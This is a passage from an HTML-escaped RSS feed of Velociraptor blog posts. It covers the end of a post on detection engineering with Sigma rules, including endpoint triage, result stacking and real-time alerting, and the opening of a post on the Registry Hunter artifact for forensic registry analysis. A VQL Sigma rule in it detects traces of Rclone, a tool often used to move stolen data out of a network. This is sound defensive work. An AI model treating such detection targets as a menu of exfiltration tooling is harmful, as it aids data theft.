of&#xA;fields specified in the Sigma rule and flags any rules which refer&#xA;to unknown fields.&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&#xA;&lt;p&gt;Remove rules with non-standard or unsupported Sigma modifiers.&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&lt;p&gt;The Velociraptor Sigma project curates a number of rule sets from&#xA;sources such as:&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&#34;https://github.com/Yamato-Security/hayabusa-rules&#34; target=&#34;_blank&#34; &gt;Hayabusa&lt;/a&gt; is a&#xA;project to maintain Sigma rules for on endpoint analysis. Hayabusa is&#xA;also a standalone engine to match the Sigma rules on the endpoint&amp;rsquo;s&#xA;event logs (similar to Velociraptor&amp;rsquo;s &lt;code&gt;sigma()&lt;/code&gt; plugin)&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&#34;https://github.com/WithSecureLabs/chainsaw&#34; target=&#34;_blank&#34; &gt;ChainSaw&lt;/a&gt; is a&#xA;repository of Sigma rules with more of a focus on Linux systems.&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&#34;https://github.com/SigmaHQ/sigma/&#34; target=&#34;_blank&#34; &gt;SigmaHQ&lt;/a&gt; is the official rule&#xA;repository of the Sigma project. These rules are cleaned up,&#xA;corrected and included into the Hayabusa project rule sets.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;h2 id=&#34;using-on-endpoint-detection-for-incident-response-triage&#34;&gt;Using on-endpoint detection for Incident Response Triage&lt;/h2&gt;&#xA;&lt;p&gt;Traditional SIEM based detection has to balance a number of tradeoffs&#xA;like volume of logs collected, and number of false positives to reduce&#xA;SIEM analyst&amp;rsquo;s churn.&lt;/p&gt;&#xA;&lt;p&gt;However, Incident Response Triaging has a different set of&#xA;requirements. Usually the incident responder needs to understand what&#xA;happened on the system without really knowing what is normal. When&#xA;evaluating Sigma rules in the incident response context, it is ok to&#xA;have more false positives in favor of exposing more possibly&#xA;suspicious activity.&lt;/p&gt;&#xA;&lt;p&gt;In the following example I collect the &lt;code&gt;Velociraptor Hayabusa Ruleset&lt;/code&gt;&#xA;artifact from the endpoint. The ruleset is extensive and rules are&#xA;broken down by rule level and rule status. However in this case I want&#xA;to try out all the rules - including very noisy ones because I want to&#xA;get an overview of what might have happened on this endpoint.&lt;/p&gt;&#xA;&lt;p&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;figure&gt;&#xA;  &lt;div class=&#34;figure&#34;&gt;&#xA;    &lt;img src=&#34;https://www.velociraptor-docs.org/blog/2024/2024-05-09-detection-engineering//blog/2024/2024-05-09-detection-engineering/collecting_sigma_rules.png&#34;&#xA;         class=&#34;inline&#34;&#xA;         alt=&#34;Collecting the sigma artifact&#34;&#xA;         width=&#34;1661&#34; height=&#34;604&#34;&gt;&#xA;  &lt;/div&gt;&#xA;  &lt;figcaption&gt;&#xA;    &lt;a class=&#34;image-link&#34;&#xA;       target=&#34;_blank&#34; rel=&#34;noopener noreferrer&#34;&#xA;       href=&#34;collecting_sigma_rules.png&#34;&gt;&#xA;      &lt;i class=&#34;fa fa-download&#34;&gt;&lt;/i&gt;&lt;/a&gt;&#xA;    Collecting the sigma artifact&#xA;  &lt;/figcaption&gt;&#xA;&lt;/figure&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;/p&gt;&#xA;&lt;p&gt;The Hayabusa ruleset is extensive and might collect many false&#xA;positives. In this case it took around 6 minutes to apply the rules on&#xA;all the event log files and returned over 60k hits from about 4200&#xA;rules.&lt;/p&gt;&#xA;&lt;p&gt;Generally it is impractical to review every single hit, so we&#xA;typically rely on Stacking the results. Within the Velociraptor GUI I&#xA;will stack by the Rule&amp;rsquo;s &lt;code&gt;Title&lt;/code&gt; by clicking the sort icon at the top&#xA;of the column&lt;/p&gt;&#xA;&lt;p&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;figure&gt;&#xA;  &lt;div class=&#34;figure&#34;&gt;&#xA;    &lt;img src=&#34;https://www.velociraptor-docs.org/blog/2024/2024-05-09-detection-engineering//blog/2024/2024-05-09-detection-engineering/stacking_a_column.png&#34;&#xA;         class=&#34;inline&#34;&#xA;         alt=&#34;Stacking rules by title&#34;&#xA;         width=&#34;1210&#34; height=&#34;466&#34;&gt;&#xA;  &lt;/div&gt;&#xA;  &lt;figcaption&gt;&#xA;    &lt;a class=&#34;image-link&#34;&#xA;       target=&#34;_blank&#34; rel=&#34;noopener noreferrer&#34;&#xA;       href=&#34;stacking_a_column.png&#34;&gt;&#xA;      &lt;i class=&#34;fa fa-download&#34;&gt;&lt;/i&gt;&lt;/a&gt;&#xA;    Stacking rules by title&#xA;  &lt;/figcaption&gt;&#xA;&lt;/figure&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;/p&gt;&#xA;&lt;p&gt;Once the column is sorted, a stacking icon will appear next to&#xA;it. Clicking on that icon will display the stacking dialog view. This&#xA;view shows the different unique values of the selected column and the&#xA;total number of items of that value. In our case it shows the total&#xA;number of times the specific rule has fired.&lt;/p&gt;&#xA;&lt;p&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;figure&gt;&#xA;  &lt;div class=&#34;figure&#34;&gt;&#xA;    &lt;img src=&#34;https://www.velociraptor-docs.org/blog/2024/2024-05-09-detection-engineering//blog/2024/2024-05-09-detection-engineering/viewing_column_stack.png&#34;&#xA;         class=&#34;inline&#34;&#xA;         alt=&#34;Viewing the stacking stats&#34;&#xA;         width=&#34;1222&#34; height=&#34;562&#34;&gt;&#xA;  &lt;/div&gt;&#xA;  &lt;figcaption&gt;&#xA;    &lt;a class=&#34;image-link&#34;&#xA;       target=&#34;_blank&#34; rel=&#34;noopener noreferrer&#34;&#xA;       href=&#34;viewing_column_stack.png&#34;&gt;&#xA;      &lt;i class=&#34;fa fa-download&#34;&gt;&lt;/i&gt;&lt;/a&gt;&#xA;    Viewing the stacking stats&#xA;  &lt;/figcaption&gt;&#xA;&lt;/figure&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;/p&gt;&#xA;&lt;p&gt;Clicking the icon in each row seeks the table immediately to view all&#xA;the rows with the same &lt;code&gt;Title&lt;/code&gt; value. In this case I want to quickly&#xA;view the hits from the &lt;code&gt;Windows Defender Threat Detected&lt;/code&gt; rule.&lt;/p&gt;&#xA;&lt;p&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;figure&gt;&#xA;  &lt;div class=&#34;figure&#34;&gt;&#xA;    &lt;img src=&#34;https://www.velociraptor-docs.org/blog/2024/2024-05-09-detection-engineering//blog/2024/2024-05-09-detection-engineering/viewing_common_rows.png&#34;&#xA;         class=&#34;inline&#34;&#xA;         alt=&#34;Viewing common rows&#34;&#xA;         width=&#34;1200&#34; height=&#34;373&#34;&gt;&#xA;  &lt;/div&gt;&#xA;  &lt;figcaption&gt;&#xA;    &lt;a class=&#34;image-link&#34;&#xA;       target=&#34;_blank&#34; rel=&#34;noopener noreferrer&#34;&#xA;       href=&#34;viewing_common_rows.png&#34;&gt;&#xA;      &lt;i class=&#34;fa fa-download&#34;&gt;&lt;/i&gt;&lt;/a&gt;&#xA;    Viewing common rows&#xA;  &lt;/figcaption&gt;&#xA;&lt;/figure&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;/p&gt;&#xA;&lt;p&gt;Using this technique I can quickly review the most interesting rules&#xA;and their corresponding hits directly in the GUI without needing to&#xA;recalculate anything. I can see what type of potentially suspicious&#xA;activity has taken place on the endpoint and identify outliers&#xA;quickly - despite the high false positive rate.&lt;/p&gt;&#xA;&lt;h2 id=&#34;extending-the-capabilities-of-sigma-rules&#34;&gt;Extending the capabilities of Sigma rules&lt;/h2&gt;&#xA;&lt;p&gt;The previous section demonstrated how Sigma can be used for rapid&#xA;triaging - The workflow is simple and effective, simply match a large&#xA;number of rules against the on-host event log files to quickly&#xA;identify and classify suspicious behavior.&lt;/p&gt;&#xA;&lt;p&gt;This works much better than running the Sigma rules at the SIEM&#xA;because the SIEM does not receive all the events on the&#xA;endpoint. Having the ability to view more event sources can improve&#xA;our detection ability without concern for scalability of the SIEM or&#xA;increasing the amount of uploaded event traffic between the endpoint&#xA;and the detection platform.&lt;/p&gt;&#xA;&lt;p&gt;But can we go further? Why stop at event logs at all? Being on the&#xA;endpoint directly actually provides access to a whole class of new data&#xA;sources which are far beyond the simple event logs collected by the&#xA;system. For example, we can directly examine registry keys, search for&#xA;and parse files on the endpoint and much more.&lt;/p&gt;&#xA;&lt;p&gt;Consider the &lt;a href=&#34;https://github.com/Velocidex/velociraptor-sigma-rules/blob/master/rules/vql/rclone.yml&#34; target=&#34;_blank&#34; &gt;following Velociraptor Sigma&#xA;rule&lt;/a&gt;:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code class=&#34;language-yaml&#34;&gt;title: Rclone&#xA;logsource:&#xA;    category: vql&#xA;    product: windows&#xA;&#xA;detection:&#xA;    selection:&#xA;      &amp;quot;EventData|vql&amp;quot;:&#xA;          x=&amp;gt;x.Files OR x.Registry&#xA;&#xA;    condition: selection&#xA;&#xA;vql: |&#xA;  x=&amp;gt;dict(EventData=dict(&#xA;    Files={&#xA;      SELECT OSPath, Size, read_file(filename=OSPath, length=100) AS Data&#xA;      FROM glob(globs=Path, accessor=&amp;quot;auto&amp;quot;)&#xA;    },&#xA;    Registry=to_dict(item={&#xA;      SELECT Name AS _key, Data.value AS _value&#xA;      FROM glob(globs=Key, accessor=&amp;quot;registry&amp;quot;)&#xA;    })))&#xA;&#xA;vql_args:&#xA;    Path: C:\Users\*\AppData\Roaming\rclone\rclone.conf&#xA;    Key: HKEY_USERS\*\SOFTWARE\Microsoft\Windows NT\CurrentVersion\AppCompatFlags\Compatibility Assistant\Store\*rclone*&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;This rule uses the special &lt;code&gt;logsource&lt;/code&gt; of type &lt;code&gt;vql&lt;/code&gt; which allows the&#xA;event to be generated by running arbitrary VQL queries. In this case&#xA;the query looks at both the presence of a registry key &lt;strong&gt;or&lt;/strong&gt; the&#xA;presence of a configuration file on the endpoint. If either of these&#xA;artifacts exist, the rule matches. Note that this rule goes above and&#xA;beyond event logs to directly look at system configuration.&lt;/p&gt;&#xA;&lt;p&gt;Velociraptor has traditionally been used to collect forensic artifacts&#xA;for manual inspection. The ability to write detection rules against&#xA;forensic artifacts allows us to quickly triage the endpoint without&#xA;manually reviewing the forensic artifacts.&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Forensic artifacts paint the picture of &lt;strong&gt;what happened on the&#xA;endpoint&lt;/strong&gt; in as much detail as possible.&lt;/li&gt;&#xA;&lt;li&gt;Sigma rules quickly flag the obvious things on the endpoint &lt;strong&gt;which&#xA;are known to be bad&lt;/strong&gt;.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;Therefore Forensic Sigma rules help to rapidly triage forensic&#xA;findings, they do not replace those but work in tandem with the&#xA;collection and analysis of forensic artifacts.&lt;/p&gt;&#xA;&lt;h2 id=&#34;real-time-sigma-alerting&#34;&gt;Real Time Sigma alerting&lt;/h2&gt;&#xA;&lt;p&gt;Velociraptor&amp;rsquo;s VQL language is fully asynchronous and can watch for&#xA;changes on the endpoint in real time. In Velociraptor&amp;rsquo;s terminology we&#xA;can write &lt;a href=&#34;https://www.velociraptor-docs.org/docs/clients/monitoring/&#34;&gt;Event Monitoring Queries&lt;/a&gt;.&lt;/p&gt;&#xA;&lt;p&gt;Rather than parsing event log files as log sources for Sigma rule&#xA;matching, we can tweak the VQL slightly to feed real time events into&#xA;the Sigma rule matching. This allows us to apply Sigma rules on log&#xA;sources in real time - in effect creating real time detection rules.&lt;/p&gt;&#xA;&lt;p&gt;The &lt;code&gt;Velociraptor Hayabusa Live Detection&lt;/code&gt; option in the Curated&#xA;import artifact will import an event monitoring version of the same&#xA;curated Sigma rules. I can configure the artifact in the usual way.&lt;/p&gt;&#xA;&lt;p&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;figure&gt;&#xA;  &lt;div class=&#34;figure&#34;&gt;&#xA;    &lt;img src=&#34;https://www.velociraptor-docs.org/blog/2024/2024-05-09-detection-engineering//blog/2024/2024-05-09-detection-engineering/configuring_monitoring.png&#34;&#xA;         class=&#34;inline&#34;&#xA;         alt=&#34;Configuring the Monitoring Sigma detection artifact&#34;&#xA;         width=&#34;1251&#34; height=&#34;611&#34;&gt;&#xA;  &lt;/div&gt;&#xA;  &lt;figcaption&gt;&#xA;    &lt;a class=&#34;image-link&#34;&#xA;       target=&#34;_blank&#34; rel=&#34;noopener noreferrer&#34;&#xA;       href=&#34;configuring_monitoring.png&#34;&gt;&#xA;      &lt;i class=&#34;fa fa-download&#34;&gt;&lt;/i&gt;&lt;/a&gt;&#xA;    Configuring the Monitoring Sigma detection artifact&#xA;  &lt;/figcaption&gt;&#xA;&lt;/figure&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;/p&gt;&#xA;&lt;p&gt;This time the endpoint will forward detection events to the server in&#xA;real time.&lt;/p&gt;&#xA;&lt;p&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;figure&gt;&#xA;  &lt;div class=&#34;figure&#34;&gt;&#xA;    &lt;img src=&#34;https://www.velociraptor-docs.org/blog/2024/2024-05-09-detection-engineering//blog/2024/2024-05-09-detection-engineering/live_sigma_detection.png&#34;&#xA;         class=&#34;inline&#34;&#xA;         alt=&#34;Live detection of Sigma rules&#34;&#xA;         width=&#34;2126&#34; height=&#34;677&#34;&gt;&#xA;  &lt;/div&gt;&#xA;  &lt;figcaption&gt;&#xA;    &lt;a class=&#34;image-link&#34;&#xA;       target=&#34;_blank&#34; rel=&#34;noopener noreferrer&#34;&#xA;       href=&#34;live_sigma_detection.png&#34;&gt;&#xA;      &lt;i class=&#34;fa fa-download&#34;&gt;&lt;/i&gt;&lt;/a&gt;&#xA;    Live detection of Sigma rules&#xA;  &lt;/figcaption&gt;&#xA;&lt;/figure&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;/p&gt;&#xA;&lt;p&gt;In the above I can see immediately suspicious use of &lt;code&gt;PSExec&lt;/code&gt; in real&#xA;time!&lt;/p&gt;&#xA;&lt;h2 id=&#34;conclusions&#34;&gt;Conclusions&lt;/h2&gt;&#xA;&lt;p&gt;This blog post explores the discipline of &lt;code&gt;Detection Engineering&lt;/code&gt;. Although this is not a new idea - people have been&#xA;refining and analysing detection rules since intrusion detection&#xA;systems were invented. By treating detection engineering as an art and&#xA;a science and dedicating specialist roles to it within an&#xA;organization, we can encourage and support this important role.&lt;/p&gt;&#xA;&lt;p&gt;Detection Engineering is about maximizing detection efficacy given the&#xA;limitations of existing detection systems. We discussed the common&#xA;event collection feeding into a central SIEM architecture and how to&#xA;write detection rules for this architecture.&lt;/p&gt;&#xA;&lt;p&gt;The Sigma rule format was designed to abstract the specifics of the&#xA;detection stack by presenting an abstract rule language. The hope was&#xA;that rules can be easily interchanged between different detection&#xA;stacks and so could be easily shared within the detection community.&lt;/p&gt;&#xA;&lt;p&gt;However in practice the lack of rigor and well defined taxonomy in&#xA;Sigma makes porting rules between detection stacks error prone and&#xA;manual. Detection Engineers need to scrutinize rules to determine if&#xA;they are likely to work within their own environment. We discuss some&#xA;of the pitfalls to watch for when scrutinizing Sigma rules. We also&#xA;discussed how detection engineers can assess if a Sigma rule is&#xA;fragile and how it can be strengthened by utilizing more detailed log&#xA;sources.&lt;/p&gt;&#xA;&lt;p&gt;Next we explored how Sigma rules can be applied on the endpoint itself&#xA;to access more log sources than are typically shipped to the SIEM. By&#xA;evaluating the rules directly on the endpoint, it is possible to use&#xA;Sigma rules for incident response triage purposes. I then demonstrate&#xA;the process of triage via Sigma rules using Velociraptor&amp;rsquo;s built in&#xA;Sigma support and the Hayabusa ruleset by using stacking to rapidly&#xA;zero in on the suspicious activity.&lt;/p&gt;&#xA;&lt;p&gt;How can we further improve detection efficacy? Why restrict ourselves&#xA;to event logs? Velociraptor&amp;rsquo;s Sigma engine can use arbitrary VQL to&#xA;generate events from sources like registry keys, paths and many other&#xA;forensic artifacts. This allows detection rules to have unprecedented&#xA;reach.&lt;/p&gt;&#xA;&lt;p&gt;Finally we looked at utilizing Sigma rules with real time event queries&#xA;allowing Velociraptor to alert in real time when Sigma rules match,&#xA;instead of having to post process events from the event log file.&lt;/p&gt;&#xA;&lt;p&gt;If you like to try Sigma in Velociraptor, take &lt;a href=&#34;https://github.com/Velocidex/velociraptor&#34; target=&#34;_blank&#34; &gt;Velociraptor for a&#xA;spin&lt;/a&gt;!  It is available on&#xA;GitHub under an open source license. As always please file issues on&#xA;the bug tracker or ask questions on our mailing list&#xA;&lt;a href=&#34;mailto:velociraptor-discuss@googlegroups.com&#34; target=&#34;_blank&#34; &gt;velociraptor-discuss@googlegroups.com&lt;/a&gt;&#xA;. You can also chat with us directly on discord&#xA;&lt;a href=&#34;https://www.velocidex.com/discord&#34; target=&#34;_blank&#34; &gt;https://www.velocidex.com/discord&lt;/a&gt;&#xA;.&lt;/p&gt;&#xA;</description>
    </item>
    <item>
      <title>The Registry Hunter</title>
      <link>https://www.velociraptor-docs.org/blog/2024/2024-04-12-registry-hunter/</link>
      <pubDate>Thu, 11 Apr 2024 23:25:17 +0000</pubDate>
      <guid>https://www.velociraptor-docs.org/blog/2024/2024-04-12-registry-hunter/</guid>
      <description>&lt;p&gt;As DFIR practitioners, the Windows registry is a treasure trove of&#xA;information. The Windows registry stores information about system&#xA;configuration and therefore we can use it to understand what software&#xA;was installed, how it was configured and hunt for mis-configuration or&#xA;deliberate compromises to achieve attacker persistence.&lt;/p&gt;&#xA;&lt;p&gt;There are many tools out there to extract forensically relevant&#xA;information from the registry. However, the problem is challenging:&lt;/p&gt;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&#xA;&lt;p&gt;The registry contains thousands of keys and values. While it is&#xA;possible to manually examine relevant keys and values this is&#xA;extremely time consuming and error prone.&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&#xA;&lt;p&gt;Some of the values are encoded in non-obvious ways. For example, it&#xA;is common for registry values to store times encoded as Unix epoch&#xA;integers, Windows File Time integers or even encoded into binary&#xA;encoded blobs. Since the registry is really intended for machine&#xA;consumption it is not always easy to parse human readable&#xA;information out of the values.&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&#xA;&lt;p&gt;Often relevant information is spread across a number of keys and&#xA;values. For a human examiner to make sense of the information, the&#xA;information needs to be collected into a single entity.&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&#xA;&lt;p&gt;Registry information does not have contextually significant&#xA;explanation about what the values actually mean, and how&#xA;significant they are in an investigation. Although this is left to&#xA;the experience of the examiner, it is useful to attach some&#xA;comments or description to the analysis.&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&lt;h2 id=&#34;velociraptor-artifacts&#34;&gt;Velociraptor Artifacts&lt;/h2&gt;&#xA;&lt;p&gt;Velociraptor has been used to extract values from the windows registry&#xA;for a long time. In Velociraptor the registry is accessible via the&#xA;&lt;code&gt;registry&lt;/code&gt; accessor (to access the registry via the APIs) and the&#xA;&lt;code&gt;raw_reg&lt;/code&gt; accessor to parse raw registry hives. See &lt;a href=&#34;https://www.velociraptor-docs.org/docs/forensic/filesystem/#searching-the-windows-registry&#34;&gt;The Registry&#xA;Accessor&lt;/a&gt; to read more about how Velociraptor accesses the registry.&lt;/p&gt;&#xA;&lt;p&gt;This allows Velociraptor to use simple &lt;code&gt;glob()&lt;/code&gt; expressions to find&#xA;keys and values in the registry. For example in the&#xA;&lt;a href=&#34;https://www.velociraptor-docs.org/artifact_references/pages/windows.registry.sysinternals.eulacheck/&#34;&gt;Windows.Registry.Sysinternals.EulaCheck&lt;/a&gt; artifact we can search for evidence of running &lt;code&gt;Sysinternal tools&lt;/code&gt;. The following is a simplified query:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code class=&#34;language-vql&#34;&gt;SELECT OSPath[-2] as ProgramName,&#xA;    lookupSID(sid=OSPath[1]) AS Username,&#xA;    OSPath.Dirname as Key,&#xA;    Mtime AS TimeAccepted,&#xA;    Data.value  AS EulaAccepted&#xA;FROM glob(globs=&#39;&#39;&#39;HKEY_USERS\*\Software\Sysinternals\*\EulaAccepted&#39;&#39;&#39;,&#xA;          accessor=&#39;registry&#39;)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;This artifact works pretty well:&lt;/p&gt;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;The artifact zeros in on the relevant values in the registry&#xA;without user intervention - the investigator does not have to know&#xA;or care where the relevant &lt;code&gt;Sysinternal Eula&lt;/code&gt; values are.&lt;/li&gt;&#xA;&lt;li&gt;The artifact decodes the values to interpret the user action (did&#xA;the user accept the EULA?) and also maps the SID back to a&#xA;username.&lt;/li&gt;&#xA;&lt;li&gt;The artifact contains sufficient human description to elicit&#xA;action - what does it mean if a user accepted the EULA? Is this&#xA;fact relevant to the investigation?&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&lt;p&gt;While very effective, over time the number of registry artifacts in&#xA;Velociraptor has grown. From the point of view of the investigator it&#xA;is becoming more difficult to use:&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;We need to remember many smaller artifacts that target the registry&#xA;to collect.&lt;/li&gt;&#xA;&lt;li&gt;We need to consider the output separately for each artifact.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;h2 id=&#34;some-problems-with-the-above-approach&#34;&gt;Some problems with the above approach&lt;/h2&gt;&#xA;&lt;p&gt;You will notice that the above artifact searches the &lt;code&gt;NTUSERS&lt;/code&gt;&#xA;hive. This hive contains each user&amp;rsquo;s &lt;code&gt;ntuser.dat&lt;/code&gt; file which is&#xA;mounted when the user logs in.&lt;/p&gt;&#xA;&lt;p&gt;While the artifact works very well for currently logged users, it will&#xA;be unable to see any users who are currently not logged into the&#xA;system! This can cause a lot of evidence to be missed.&lt;/p&gt;&#xA;&lt;p&gt;The problem here is that the registry is composed of different hives&#xA;and some hives may be mounted at different times. However, when we&#xA;analyze the registry we often want to access all hives!&lt;/p&gt;&#xA;&lt;p&gt;When we use the API to access the registry, we could be missing hives&#xA;that are not currently mounted. Conversely when we use raw registry&#xA;parsing to only look at hive files we will be missing volatile keys&#xA;that are not always written to the hives.&lt;/p&gt;&#xA;&lt;p&gt;In the specific case of &lt;code&gt;Windows.Registry.Sysinternals.EulaCheck&lt;/code&gt; the&#xA;artifact also offers an alternate analysis method which looks at the&#xA;&lt;code&gt;ntuser.dat&lt;/code&gt; files themselves. However this has to be added&#xA;specifically for each artifact.&lt;/p&gt;&#xA;&lt;h2 id=&#34;what-do-other-tools-do&#34;&gt;What do other tools do?&lt;/h2&gt;&#xA;&lt;p&gt;Investigator focused tools typically attempt to analyze the whole&#xA;registry. For example, &lt;code&gt;regripper&lt;/code&gt; or &lt;code&gt;RECmd/Registry Explorer&lt;/code&gt; present a&#xA;GUI to the registry and simply tag keys and values based on their&#xA;significance. This is very convenient for the investigator, as they&#xA;only need to run the analysis once then examine the output manually.&lt;/p&gt;&#xA;&lt;p&gt;While this is effective for analyzing a small number of machines, it&#xA;can not be easily scaled to large hunts on thousands of machines where&#xA;we need a more machine readable output.&lt;/p&gt;&#xA;&lt;p&gt;The &lt;code&gt;RECmd Batch&lt;/code&gt; project is an interesting idea forward. It started&#xA;off as an automated Batch File to drive &lt;code&gt;RECmd/Registry Explorer&lt;/code&gt;&#xA;analysis by only collecting relevant keys/value and tagging these with&#xA;category and description labels.&lt;/p&gt;&#xA;&lt;p&gt;Here is an example &lt;code&gt;RECmd Batch&lt;/code&gt; rule corresponding to the above artifact:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;    -&#xA;        Description: Sysinternals&#xA;        HiveType: NTUSER&#xA;        Category: Installed Software&#xA;        KeyPath: SOFTWARE\Sysinternals\*&#xA;        ValueName: EulaAccepted&#xA;        Recursive: false&#xA;        Comment: |&#xA;           Displays all SysInternals Tools that had the EULA accepted,&#xA;           indicating either execution of the tool or the Registry values&#xA;           were added intentionally prior to execution&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;This rule attaches a description and category to the &lt;code&gt;EulaAccepted&lt;/code&gt;&#xA;value and also includes how to find it. There is also a useful comment&#xA;to drive the investigator towards assessing the importance of these&#xA;findings.&lt;/p&gt;&#xA;&lt;p&gt;The &lt;code&gt;RECmd Batch&lt;/code&gt; format also has some basic registry interpretation&#xA;built in (such as &lt;code&gt;FILETIME&lt;/code&gt; to interpret timestamps), but more&#xA;complex interpretation is deferred to &lt;code&gt;Registry Plugins&lt;/code&gt; which are &lt;code&gt;C# programs&lt;/code&gt; specifically designed to interpret more complex keys or&#xA;values. The use of &lt;code&gt;C#&lt;/code&gt; makes writing registry plugins less accessible&#xA;and more complex.&lt;/p&gt;&#xA;&lt;h2 id=&#34;so-what-do-we-actually-want&#34;&gt;So what do we actually want?&lt;/h2&gt;&#xA;&lt;p&gt;We wanted to have a single artifact that hunts the entire registry&#xA;quickly and efficiently:&lt;/p&gt;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Combining all the specific registry based artifacts into a single&#xA;one so investigators don&amp;rsquo;t have to remember all the different&#xA;artifacts - a single shot collection should be all that is needed&#xA;to cover all registry based evidence.&lt;/li&gt;&#xA;&lt;li&gt;All relevant information should be grouped by &lt;code&gt;Category&lt;/code&gt; and&#xA;&lt;code&gt;Description&lt;/code&gt;. The artifact should make it easy to zero in on&#xA;specific categories depending on the investigator&amp;rsquo;s needs.&lt;/li&gt;&#xA;&lt;li&gt;Ideally group together related key/values for quick analysis - this&#xA;is needed to remove the cognitive load on the investigator in&#xA;reviewing thousands of related values.&lt;/li&gt;&#xA;&lt;li&gt;The artifact should be collected in different contexts:&#xA;&lt;ul&gt;&#xA;&lt;li&gt;On a live system using the registry API.&lt;/li&gt;&#xA;&lt;li&gt;Offline on a collection of Registry Hive Files&lt;/li&gt;&#xA;&lt;li&gt;Automatically take care of subtleties such as &lt;code&gt;NTUser.dat&lt;/code&gt; mounts&#xA;(as described about).&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&lt;p&gt;This is what the registry hunter is all about!&lt;/p&gt;&#xA;&lt;h2 id=&#34;the-registry-hunter&#34;&gt;The Registry Hunter&lt;/h2&gt;&#xA;&lt;p&gt;The Registry Hunter project is maintained at&#xA;&lt;a href=&#34;https://github.com/Velocidex/registry_hunter/&#34; target=&#34;_blank&#34; &gt;https://github.com/Velocidex/registry_hunter/&lt;/a&gt; and contains a compiler&#xA;that combines a set of &lt;code&gt;Rules&lt;/code&gt; into a final artifact. This allows&#xA;users to contribute specific rules targeting specific keys and value&#xA;in the registry.&lt;/p&gt;&#xA;&lt;h3 id=&#34;remapping-the-registry-hives&#34;&gt;Remapping the registry hives&lt;/h3&gt;&#xA;&lt;p&gt;To make it easier to write Registry Hunter rules and also to make it&#xA;easier to apply those rules in different situations, we want to&#xA;present a unified view of the registry to rule authors. The rule&#xA;authors should not need to care about if a registry hive is mounted or&#xA;available.&lt;/p&gt;&#xA;&lt;p&gt;In recent versions, Velociraptor implements a powerful mechanism to&#xA;&lt;code&gt;remap&lt;/code&gt; accessors within the name space. You can read about &lt;a href=&#34;https://www.velociraptor-docs.org/docs/forensic/filesystem/remapping/&#34;&gt;Remapping&#xA;Accessors&lt;/a&gt; to&#xA;understand how this is done.&lt;/p&gt;&#xA;&lt;p&gt;The Registry Hunter artifact will map the relevant hives into the&#xA;&lt;code&gt;registry&lt;/code&gt; accessor namespace using a number of different strategies.&lt;/p&gt;&#xA;&lt;p&gt;The below diagram illustrates how the remapping works with the &lt;code&gt;Raw Hives&lt;/code&gt; strategy. In this configuration, the &lt;code&gt;registry&lt;/code&gt; accessor is&#xA;remapped to using all the raw registry hives and does not use the API&#xA;at all.&lt;/p&gt;&#xA;&lt;p&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;figure&gt;&#xA;  &lt;div class=&#34;figure&#34;&gt;&#xA;    &lt;img src=&#34;https://www.velociraptor-docs.org/blog/2024/2024-04-12-registry-hunter//blog/2024/2024-04-12-registry-hunter/registry_hunter_remapping.png&#34;&#xA;         class=&#34;inline&#34;&#xA;         alt=&#34;Remapping the registry accessor&#34;&#xA;         width=&#34;1327&#34; height=&#34;785&#34;&gt;&#xA;  &lt;/div&gt;&#xA;  &lt;figcaption&gt;&#xA;    &lt;a class=&#34;image-link&#34;&#xA;       target=&#34;_blank&#34; rel=&#34;noopener noreferrer&#34;&#xA;       href=&#34;registry_hunter_remapping.png&#34;&gt;&#xA;      &lt;i class=&#34;fa fa-download&#34;&gt;&lt;/i&gt;&lt;/a&gt;&#xA;    Remapping the registry accessor&#xA;  &lt;/figcaption&gt;&#xA;&lt;/figure&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;/p&gt;&#xA;&lt;p&gt;The rules, however, don&amp;rsquo;t really need to know about this - they just&#xA;assume they can access the whole registry using the 